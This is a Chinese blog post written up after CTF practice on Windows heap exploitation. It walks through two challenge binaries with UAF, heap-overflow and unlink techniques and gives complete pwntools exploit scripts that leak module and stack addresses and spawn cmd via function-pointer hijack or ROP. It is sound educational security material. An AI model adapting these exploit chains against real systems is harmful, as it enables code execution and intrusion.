Loading... 最近这段时间学习了一下 Windows heap 利用,大致感触为 - Windows 的 heap 利用比起 Linux 要繁琐许多,因为 Windows 中并没有类似于 `__free_hook` 这些可以劫持执行流的指针,类似于 Linux got 表的 IAT 表也是只读的,所以要最终实现利用往往需要通过一系列冗长的 leak 找到栈地址然后 rop。 - Windows 闭源,虽然微软提供了 pdb 文件,但是想要通过逆向搞懂整个流程还是很有逆向难度的,现在我只能跟着大佬们的总结学习流程,仿佛又回到了之前学 Linux heap exploit 之初看不懂源码意识流 pwn 的时候。 总共做了两道题,SCTF-easyheap 和 OgeekCTF2019 babyheap,两题都是 unlink 实现任意地址读写,不过前一题提供了函数指针可以直接劫持执行流,后者则需要 rop。 参考资料: - [SCTF 2020 EasyWinHeap 入门 Windows Pwn](https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/) - [Windows系统下典型堆漏洞产生原理及利用方法研究](https://www.jianshu.com/p/a853040d2804) - [Windows 10 Nt Heap Exploitation (chinese version)](https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-chinese-version) - [ogeek ctf 2019 win pwn babyheap 详解](https://xz.aliyun.com/t/6319) ## 环境配置 *我整理了一下用到的没用到的工具,放到了[我的 GitHub 仓库](https://github.com/chujDK/windows-pwning-tools)上* 调试工具: - 在客户机内使用 windbg 调试 - 到[微软官网](https://developer.microsoft.com/zh-cn/windows/downloads/sdk-archive/)下载符合自己 Windows 版本的 sdk 并安装即可。 - 可以通过 windbg 便捷地下到各个 dll 的 pdb 文件,在 windbg 中的 [file] -> [Symbol File Path] 中添加 `C:\symbols;SRV*C:\symbols*http://msdl.microsoft.com/download/symbols`(可能需要代理) - 远程调试:使用 ida 调试、利用环境 参考[大师傅的文章](https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/)使用 socat + pwntools + ida 进行调试利用。 - 首先 socat 起服务 - `socat tcp-listen:8888,fork EXEC:target.exe,pipes` - 根据版本不同,可能需要手动到防火墙里面把 socat 加到白名单中 - 然后脚本头部加上 `raw_input()`,起脚本,连接后会停住 - 这个时候用 ida 的远程调试 attach 到对应进程上,F9 继续执行,到脚本出敲下回车,脚本继续执行,执行到 ida 设置的断点处就会断下了 这种做法确实相对麻烦一些,并且由于我已经习惯了 gdb 的命令行式调试,所以其实初用 ida 调试是很不习惯的,不过这样可以避免每次开一台新的 win 虚拟机都重配一遍 python,使用原先 Linux pwn 的 pwntools 环境即可。 关于动态链接库,毕竟我们只是学习一下,不需要和原题的 dll 环境完全一致,保证大版本相同即可,而且实际上差别可能也只在偏移上,所以我就不去折腾换 Windows 的 dll 了(我估摸着也不太可能能像 Linux 那样随意换吧)。 另外,关于 Windows 的进程运行原理,建议参考《程序员的自我修养》Windows 相关章节,考虑到之前看这本书的时候偷了懒,其实我这方面的知识很散装,这里就不献丑了hhh。 ## SCTF-easyheap *利用环境为 `win7 sp1`* 这道题目比较简单,漏洞点是一个 UAF + 一个堆溢出,当然,由于 UAF 品相非常好,所以堆溢出也没用上,类别 Linux ptmalloc2 的利用,利用其实就是一个 UAF leak + 一个 unlink。不过对于我这种对 Windows 一无所知的人来说,借着这道题,学习一些 Windows 的一些知识,也算挺有收获的。 ### 利用 首先先分析程序,提供了五个方法  其中 delete 方法没有把 free 掉的指针置零  对于每个 Note 的结构,分析可得如下 ```cpp struct note { void* puts_ptr; char *content; }; ``` 其中 puts_ptr 是一个函数指针,低四位被复用当作了 edit 时的大小。 别的部分逻辑都很好理解,这里不在赘述,只有 add 方法一个奇怪的 while 循环有点复杂,大概是编译器的什么优化吧。既然有 UAF,在 ptmalloc2 下我们很容易想到直接改 fastbin/tcache 的 next 直接任意地址分配,在 Windows 下虽然也有类似的单链表结构,在 Windows7 中也就是 LFH(**L**ow **F**ragment **H**eap,低碎片堆) 了,不过这个东西开启有一定的条件,而且(至少在 win10 中)是随机分配的,不太稳定,这里还是利用后端堆管理器的 FreeHints(类似于 ptmalloc 中的 small bins)的 unlink 操作来实现利用。 这里的 unlink 操作和 ptmalloc 中并无特别大的区别,毕竟一个双链表脱链的操作还能有多大差别,参考前文提到的第二篇文章,可知该操作伪代码大致为 ```cpp next = vent->Flink; prev = vent->Blink; if (prev->Flink != next->Blink || prev->Flink != vent) { RtlpHeapReportCorruption(vent); } else { prev->Flink = next; next->Blink = prev; } ``` 我们参考 [ctf-wiki 对 unlink 的介绍](https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/#_2)即可。为了完成这一点,只要先把 heap 地址 leak 出来,这通过 free 后 show 即可,然后一次 unlink 即可完全控制 note 数组,另外 note 结构里面居然存了一个函数指针,再通过 show 即可 leak 出函数指针获得 image base。然后修改 content 指针读取 idata 段的 crt 函数地址,leak 出来即可算出 system 函数的地址,最后直接劫持 puts 函数指针为 system 即可 getshell。所以有 exp ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] context.os = "windows" sh = remote("192.168.XXX.XXX", XXXX) def add(size): sh.sendlineafter("option >", "1\n") sh.sendlineafter("size >", str(size) + "\r\n") def delete(idx): sh.sendlineafter("option >", "2\n") sh.sendlineafter("index >", str(idx) + "\r\n") def show(idx): sh.sendlineafter("option >", "3\n") sh.sendlineafter("index >\r\n", str(idx) + "\r\n") def edit(idx, payload): sh.sendlineafter("option >", "4\n") sh.sendafter("index >", str(idx) + "\r\n") sh.sendafter("content >", str(payload)) raw_input() # first, leak the heap base add(32) # 0 add(32) # 1 add(32) # 2 delete(1) show(1) heap_base = u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00')) - 0x630 log.success("heap_base: " + hex(heap_base)) # we want to unlink, so we first get the note array's address note_array_addr = heap_base + 0x578 note_0 = note_array_addr note_1 = note_array_addr + 8 edit(1, p32(note_1) + p32(note_1 + 4) + '\n') add(32) # trigger unlink # currently, note[1].content == ¬e[1].content edit(1, p32(note_1 + 8)[:3] + '\n') # currently, note[1].content == ¬e[1].content + 4 show(1) image_base = u32(sh.recv(4)) - 0x1043 log.success("image_base: " + hex(image_base)) exit_idata_addr = image_base + 0x20B0 edit(1, p32(0) + p32(note_0) + p32(image_base + 0x1043) + p32(exit_idata_addr) + '\n') # here 0 - 1 = 0xFFFFFFFF show(3) # leak the exit's addr # setvbuf 100464D0 system 100EFDA0 exit_addr = u32(sh.recv(4).ljust(4, '\x00')) log.success("exit_addr: " + hex(exit_addr)) system_addr = exit_addr - 0x100464D0 + 0x100EFDA0 log.success("system_addr: " + hex(system_addr)) edit(2, p32(system_addr) + '\n') edit(0, "cmd\x00\n") show(0) sh.interactive() ``` 这个 exp 有小概率打不通,因为在 edit 功能会在末尾附加 `\x00`,需要保证 heap 地址小于 0x01000000。当然也可以保证 heap 大于 0x01000000 然后在 leak image addr 前不修改 content 指针,直接 show,由于 content 指针不会截断,可以直接 leak 出来 puts_ptr。不过我测试了一些堆地址大概率是小于 0x01000000 的,所以还是选择多 edit 一次。 ## OgeekCTF2019 babyheap [attachment](https://github.com/bash-c/pwn_repo/tree/master/oGeekCTF2019_babyheap_src)  所以我特意装了个 Windows server 2019,Windows 10 nt heap 结构建议参考 angle boy 的 slide:[Windows 10 Nt Heap Exploitation (chinese version)](https://www.slideshare.net/AngelBoy1/windows-10-nt-heap-exploitation-chinese-version)。 程序的流程也不难逆,漏洞也很明显,就是 polish(edit 功能)中有堆溢出  同时 add 时也有 `off-by-one`,但是没用上。另外输入都没有在末尾附加 `'\x00'`。 另外开头送给了我们 image 的地址,同时还有一个我没用上的后面。 ### 利用 和上题类似,我们使用 unlink,不过这里要实现 UAF 得通过堆溢出实现,所以得先把 `_HEAP->Encoding` leak 出来,打开 WinDbg-x86,open executable 调试 babyheap,使用 `dt _HEAP` 查看该字段位置  可以看到在 0x50 偏移处,当然我们没法直接把这个读出来,不过由于 xor 运算可逆,所以我们只要把某个 UserBlock 的 header leak 出来,xor 他的真实值即可算出该 encoding。使用这样的脚本 leak ```python add(0x38, "A" * 0x38 + '\n') # 0 add(0x38, "B" * 0x38 + '\n') # 1 add(0x38, "C" * 0x38 + '\n') # 2 add(0x38, "D" * 0x38 + '\n') # 3 add(0x38, "D" * 0x38 + '\n') # 4 add(0x38, "D" * 0x38 + '\n') # 5 show(1) sh.recvuntil("B" * 0x38) xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7] + '\x08') ``` 通过调试,首先找到 _HEAP 结构体(这个结构体一般在 heap 段的头部,如果找不到可以先通过一个 freed block 的 flink 指针找到 FreeLists 字段的地址,32 位时该字段相对于 _HEAP 头的偏移为 0xC0,然后就可以获得 Encoding 了)的位置,然后找到 Encoding,然后可以算出对于 idx=1 的 UserBlock 的 header 其真实值为 `0x0800000809010008` #### 任意地址读写 那么之后的利用,一个自然的想法是 UAF 一个 freed Block,修改 Flink 和 Blink 指向进程 image 中的 content_array,然后 unlink 一打即可获得非法指针,但是由于此题存在一个 exist 数组判断每个 note 有没有被 free 过,所以这样不可行。另外,如果真的这么做,会发现用 win7 中 HeapAlloc 触发 unlink 的方法会 abort 掉,这是因为 win10 中加入了 ListHint 来加速对 FreeLists 的查找,HeapAlloc 时返回的 Block 被 ListHint 直接指向,这个时候会做检测,如果我们修改了 Block 的 Flink,Blink,就会被检出而 abort。 不过我们仍然可以修改某个 Block 的 header,伪造一个 freed Block,然后通过 Block 的合并实现 unlink。 引用 angel boy 的 slide  我打的版本的 Windows 的 size 字段和 angel boy 的 slide 描述的不同,不是 `real_size >> 4` 而是 `real_size >> 3`,所以对于 0x40 大小的 freed Block,size = 0x0008,flag = 0x00,SmallTagIndex = 0,后面的 4 个 byte 不变,由此可以写出 payload ```python payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008)) payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8) ``` 这样在 free 伪造的 freed Block 的前一个 Block 时触发后向合并就会 unlink 了,为了不 abort,我们要保证该 Block 不被 ListHint 直接指向,当然他都没被 free 过肯定不会被直接指向,然后我们就获得了任意地址读写的能力 到此为止的脚本 ```python ... raw_input() sh.recvuntil("village gift : ") image_base = int(sh.recvuntil("\n", drop = True), base = 16) - 0x1090 log.success("image_base: " + hex(image_base)) note_array_addr = image_base + 0x4370 add(0x38, "A" * 0x38 + '\n') # 0 add(0x38, "B" * 0x38 + '\n') # 1 add(0x38, "C" * 0x38 + '\n') # 2 add(0x38, "D" * 0x38 + '\n') # 3 add(0x38, "D" * 0x38 + '\n') # 4 add(0x38, "D" * 0x38 + '\n') # 5 show(1) sh.recvuntil("B" * 0x38) xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7] + '\x08') cookie = xor(xored_header, 0x0800000809010008) log.success("xored header: " + hex(xored_header)) # cookie leaked log.success("cookie: " + hex(cookie)) payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008)) payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8) delete(4) edit(1, 0x50, payload + '\n') delete(1) ``` #### 漫长的 leak 之路 之后就是要 leak 出 stack_addr,一般选择使用 teb 表中存有的栈指针来 leak  而 teb 表和 peb 表的偏移通常是固定的,在 WinDbg 中,通过 r 指令即可查看  而 peb 则在 ntdll 中的 PebLdr 附近固定偏移处存有一个指针  所以我们只要 leak 出 ntdll 的地址就可以获得栈地址了。遗憾的是,babyheap 并没有从 ntdll 直接导入函数  不过可以看到它导入了 KERNEL32 的函数,而 KERNEL32 导入了大量 ntdll 的函数,所以我们读取对于的 IAT,获得 KERNEL32 的基地址,再读其 IAT 获得 ntdll 基地址最后就可以获得 stack addr 了。 另外,通过 image 导入的 crt 函数,如 puts 我们可以 leak 出 system 的地址 这里的脚本为 ```python # then follow the long leaking process HeapCreate_IAT = image_base + 0x3000 edit(2, 0x50, p32(note_array_addr + 0xC) + p32(HeapCreate_IAT) + '\n') show(3) sh.recvuntil("Show : ") HeapCreate_addr = u32(sh.recv(4)) log.success("HeapCreate_addr: " + hex(HeapCreate_addr)) kernel32dll_base = HeapCreate_addr - 0x11FD0 log.success("kernel32dll_base: " + hex(kernel32dll_base)) NtCreateFile_IAT = kernel32dll_base + 0x719BC edit(2, 0x50, p32(NtCreateFile_IAT) + '\n') show(3) sh.recvuntil("Show : ") NtCreateFile_addr = u32(sh.recv(4)) log.success("NtCreateFile_addr: " + hex(NtCreateFile_addr)) ntdll_base = NtCreateFile_addr - 0x6FBD0 log.success("ntdll_base: " + hex(ntdll_base)) PebLdr_addr = ntdll_base + 0x11FC40 peb_stored_addr = PebLdr_addr - 0x34 edit(2, 0x50, p32(peb_stored_addr) + '\n') show(3) sh.recvuntil("Show : ") peb_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) - 0x21c log.success("peb_addr: " + hex(peb_addr)) teb_addr = peb_addr + 0x3000 edit(2, 0x50, p32(teb_addr) + '\n') show(3) sh.recvuntil("Show : ") stack_end = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) log.success("stack_end: " + hex(stack_end)) log.success("start search return addr") edit(2, 0x50, p32(image_base + 0x30C8) + '\n') show(3) sh.recvuntil("Show : ") puts_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) log.success("puts_addr: " + hex(puts_addr)) system_addr = puts_addr - 0x100B89F0 + 0x100EFDA0 log.success("system_addr: " + hex(system_addr)) ``` 然后需要搜索栈,获得 main_ret 的地址,从后往前搜,搜到 main 函数返回的那个地址即可,这里是 `image_base + 0x193B`,这个过程需要挺长时间的 ```python def read_every_where(addr): edit(2, 0x50, p32(addr) + '\n') show(3) sh.recvuntil("Show : ") return u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00')) main_ret_val = image_base + 0x193B main_ret_addr = (stack_end & 0xFFFFF000) + 0x1000 - 0x4 while 1: ret_val = read_every_where(main_ret_addr) log.success("in " + hex(main_ret_addr) + " : " + hex(ret_val)) if ret_val == main_ret_val: break main_ret_addr = main_ret_addr - 0x4 log.success("found main_ret_addr: " + hex(main_ret_addr)) ``` 找到之后 rop 即可,32 位 X86 是栈传参,gadget 也省得找了 最后的 exp: ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from operator import xor # context.log_level = "debug" context.terminal = ["tmux", "splitw", "-h"] sh = remote("192.168.124.133", 8888) def add(size, payload): sh.sendlineafter("choice?", "1") sh.sendlineafter("long is your sword?", str(size)) sh.sendafter("Name it!", payload) def delete(index): sh.sendlineafter("choice?", "2") sh.sendlineafter("to destroy?", str(index)) def edit(index, size, payload): sh.sendlineafter("choice?", "3") sh.sendlineafter("polish?", str(index)) sh.sendlineafter("time?", str(size)) sh.sendafter("name it again : ", payload) def show(index): sh.sendlineafter("choice?", "4") sh.sendlineafter("check?", str(index)) def read_every_where(addr): edit(2, 0x50, p32(addr) + '\n') show(3) sh.recvuntil("Show : ") return u32(sh.recvuntil("\r\n", drop = True)[:4].ljust(4, '\x00')) raw_input() sh.recvuntil("village gift : ") image_base = int(sh.recvuntil("\n", drop = True), base = 16) - 0x1090 log.success("image_base: " + hex(image_base)) note_array_addr = image_base + 0x4370 add(0x38, "A" * 0x38 + '\n') # 0 add(0x38, "B" * 0x38 + '\n') # 1 add(0x38, "C" * 0x38 + '\n') # 2 add(0x38, "D" * 0x38 + '\n') # 3 add(0x38, "D" * 0x38 + '\n') # 4 add(0x38, "D" * 0x38 + '\n') # 5 show(1) sh.recvuntil("B" * 0x38) xored_header = u64((sh.recvuntil("\r\n", drop = True).ljust(8, "\x00"))[:7] + '\x08') cookie = xor(xored_header, 0x0800000809010008) log.success("xored header: " + hex(xored_header)) # cookie leaked log.success("cookie: " + hex(cookie)) payload = 'b' * 0x38 + p64(xor(cookie, 0x0800000808000008)) payload += p32(note_array_addr + 0x4) + p32(note_array_addr + 0x8) delete(4) edit(1, 0x50, payload + '\n') delete(1) # then follow the long leaking process HeapCreate_IAT = image_base + 0x3000 edit(2, 0x50, p32(note_array_addr + 0xC) + p32(HeapCreate_IAT) + '\n') show(3) sh.recvuntil("Show : ") HeapCreate_addr = u32(sh.recv(4)) log.success("HeapCreate_addr: " + hex(HeapCreate_addr)) kernel32dll_base = HeapCreate_addr - 0x11FD0 log.success("kernel32dll_base: " + hex(kernel32dll_base)) NtCreateFile_IAT = kernel32dll_base + 0x719BC edit(2, 0x50, p32(NtCreateFile_IAT) + '\n') show(3) sh.recvuntil("Show : ") NtCreateFile_addr = u32(sh.recv(4)) log.success("NtCreateFile_addr: " + hex(NtCreateFile_addr)) ntdll_base = NtCreateFile_addr - 0x6FBD0 log.success("ntdll_base: " + hex(ntdll_base)) PebLdr_addr = ntdll_base + 0x11FC40 peb_stored_addr = PebLdr_addr - 0x34 edit(2, 0x50, p32(peb_stored_addr) + '\n') show(3) sh.recvuntil("Show : ") peb_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) - 0x21c log.success("peb_addr: " + hex(peb_addr)) teb_addr = peb_addr + 0x3000 edit(2, 0x50, p32(teb_addr) + '\n') show(3) sh.recvuntil("Show : ") stack_end = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) log.success("stack_end: " + hex(stack_end)) log.success("start search return addr") edit(2, 0x50, p32(image_base + 0x30C8) + '\n') show(3) sh.recvuntil("Show : ") puts_addr = u32(sh.recvuntil("\r\n", drop = True).ljust(4, '\x00')[:4]) log.success("puts_addr: " + hex(puts_addr)) system_addr = puts_addr - 0x100B89F0 + 0x100EFDA0 log.success("system_addr: " + hex(system_addr)) main_ret_val = image_base + 0x193B main_ret_addr = (stack_end & 0xFFFFF000) + 0x1000 - 0x4 while 1: ret_val = read_every_where(main_ret_addr) log.success("in " + hex(main_ret_addr) + " : " + hex(ret_val)) if ret_val == main_ret_val: break main_ret_addr = main_ret_addr - 0x4 log.success("found main_ret_addr: " + hex(main_ret_addr)) payload = p32(system_addr) + p32(0xDEADBEEF) payload += p32(main_ret_addr + 0x20) + p32(0) payload = payload.ljust(0x20, '\xAA') + 'cmd.exe\x00' edit(2, 0x50, p32(main_ret_addr) + '\n') edit(3, 0x50, payload + '\n') sh.sendlineafter("choice?", '5') sh.interactive() ```  最后修改:2022 年 04 月 04 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 9 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧